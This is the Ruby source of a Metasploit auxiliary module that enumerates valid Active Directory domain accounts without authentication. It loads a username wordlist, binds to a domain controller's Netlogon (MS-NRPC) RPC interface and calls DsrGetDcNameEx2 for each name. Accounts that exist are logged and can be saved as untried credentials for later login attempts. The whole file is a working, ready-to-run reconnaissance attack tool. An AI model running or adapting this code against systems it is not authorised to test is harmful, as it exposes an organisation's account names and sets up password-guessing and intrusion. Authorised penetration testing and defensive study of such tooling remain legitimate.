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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::Scanner
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  include Msf::Exploit::Remote::DCERPC
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  Netlogon = RubySMB::Dcerpc::Netlogon
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  @dport = nil
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'MS-NRPC Domain Users Enumeration',
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        'Description' => %q{
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          This module will enumerate valid Domain Users via no authentication against MS-NRPC interface.
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          It calls DsrGetDcNameEx2 to check if the domain user account exists or not. It has been tested with
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          Windows servers 2012, 2016, 2019 and 2022.
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        },
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        'Author' => [
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          'Haidar Kabibo <https://x.com/haider_kabibo>'
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        ],
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        'References' => [
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          ['URL', 'https://github.com/klsecservices/Publications/blob/master/A_journey_into_forgotten_Null_Session_and_MS-RPC_interfaces.pdf']
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        ],
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        'License' => MSF_LICENSE,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [],
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          'SideEffects' => []
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        }
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      )
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    )
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    register_options(
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      [
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        OptPort.new('RPORT', [false, 'The netlogon RPC port']),
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        OptPath.new('USER_FILE', [true, 'Path to the file containing the list of usernames to enumerate']),
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        OptBool.new('DB_ALL_USERS', [ false, 'Add all enumerated usernames to the database', false ])
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      ]
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    )
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  end
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  def bind_to_netlogon_service
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    @dport = datastore['RPORT']
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    if @dport.nil? || @dport == 0
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      @dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], Netlogon::UUID, '1.0', 'ncacn_ip_tcp')
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      fail_with(Failure::NotFound, 'Could not determine the RPC port used by the Microsoft Netlogon Server') unless @dport
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    end
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    handle = dcerpc_handle(Netlogon::UUID, '1.0', 'ncacn_ip_tcp', [@dport])
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    print_status("Binding to #{handle}...")
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    dcerpc_bind(handle)
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  end
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  def dsr_get_dc_name_ex2(username)
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    request = Netlogon.const_get('DsrGetDcNameEx2Request').new(
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      computer_name: nil,
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      account_name: username,
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      allowable_account_control_bits: 0x200,
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      domain_name: nil,
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      domain_guid: nil,
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      site_name: nil,
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      flags: 0x00000000
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    )
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    begin
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      raw_response = dcerpc.call(request.opnum, request.to_binary_s)
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    rescue Rex::Proto::DCERPC::Exceptions::Fault
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      fail_with(Failure::UnexpectedReply, "The Netlogon RPC request failed for username: #{username}")
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    end
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    Netlogon.const_get('DsrGetDcNameEx2Response').read(raw_response)
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  end
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  def report_username(domain, username)
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    service_data = {
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      address: datastore['RHOST'],
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      port: @dport,
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      service_name: 'netlogon',
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      protocol: 'tcp',
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      workspace_id: myworkspace_id
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    }
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    credential_data = {
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      origin_type: :service,
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      module_fullname: fullname,
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      username: username,
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      realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
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      realm_value: domain
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    }.merge(service_data)
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    login_data = {
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      core: create_credential(credential_data),
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      status: Metasploit::Model::Login::Status::UNTRIED
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    }.merge(service_data)
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    create_credential_login(login_data)
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  end
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  def run_host(_ip)
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    usernames = load_usernames(datastore['USER_FILE'])
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    bind_to_netlogon_service
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    usernames.each do |username|
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      enumerate_user(username)
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    end
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  end
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  private
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  def load_usernames(file_path)
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    unless ::File.exist?(file_path)
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      fail_with(Failure::BadConfig, 'The specified USER_FILE does not exist')
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    end
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    usernames = []
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    ::File.foreach(file_path) do |line|
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      usernames << line.strip
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    end
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    usernames
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  end
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  def enumerate_user(username)
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    response = dsr_get_dc_name_ex2(username)
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    if response.error_status == 0
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      print_good("#{username} exists -> DC: #{response.domain_controller_info.domain_controller_name.encode('UTF-8')}")
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      if datastore['DB_ALL_USERS']
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        report_username(response.domain_controller_info.domain_name.encode('UTF-8'), username)
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      end
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    else
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      print_error("#{username} does not exist")
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    end
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  end
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end
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